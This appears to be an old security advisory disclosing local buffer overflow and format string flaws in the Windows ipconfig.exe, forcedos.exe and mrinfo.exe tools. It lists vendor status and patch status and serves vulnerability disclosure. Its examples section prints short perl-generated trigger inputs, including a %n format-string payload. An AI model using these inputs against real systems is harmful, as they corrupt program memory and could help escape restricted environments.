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SEC-CONSULT Security REPORT Microsoft commandline tools
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Product: Windows-2000 SP4 / Windows-XP SP2

Vulnerablities:

- Buffer Overflow (without privilege escalation)

Vendor: Microsoft (http://www.microsoft.com/)
Vendor-Status: vendor contacted (between 2002 and 2003)
Vendor-Patches: ipconfig (XP-SP 2) / forcedos.exe and mrinfo.exe not available

Objects: ipconfig.exe / forcedos.exe / mrinfo.exe

Exploitable:
Local: YES
Remote: NO

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Introduction
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Vulnerability Details
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1) LOCAL BUFFER OVERFLOWS / FORMAT STRING VULNERABILITY
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OBJECTS:
ipconfig.exe (only Win2K)
forcedos.exe
mrinfo.exe

DESCRIPTION:
Insufficient input-validation leads to a) stack based bufferoverflows and b) format string- vulnerabilites.

EXAMPLES:

a) ipconfig.exe /`perl -e 'print "PAAAA\x44\x33\x22\x11","%08x"x13,"%n";'`
b) forcedos.exe `perl -e 'print "A"x6784;'`
c) mrinfo.exe -i `perl -e 'print "A"x60;'`

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GENERAL REMARKS
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Find related postings regarding this issue here: (http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-10/0065.html).

It is unlikely you to gain access or elevate priviledges thru "forcedos.exe" and "mrinfo.exe".
Nevertheless it might be possible to misuse "ipconfig.exe" in an "restricted" environment with DHCP enabled !!

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Recommended Hotfixes
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EOF @2003 Brereton_paul@btinternet.com,m.eiszner@sec-consult.com


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Contact
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SEC-CONSULT
Austria / EUROPE

Brereton_paul@btinternet.com
m.eiszner@sec-consult.com
http://www.sec-consult.com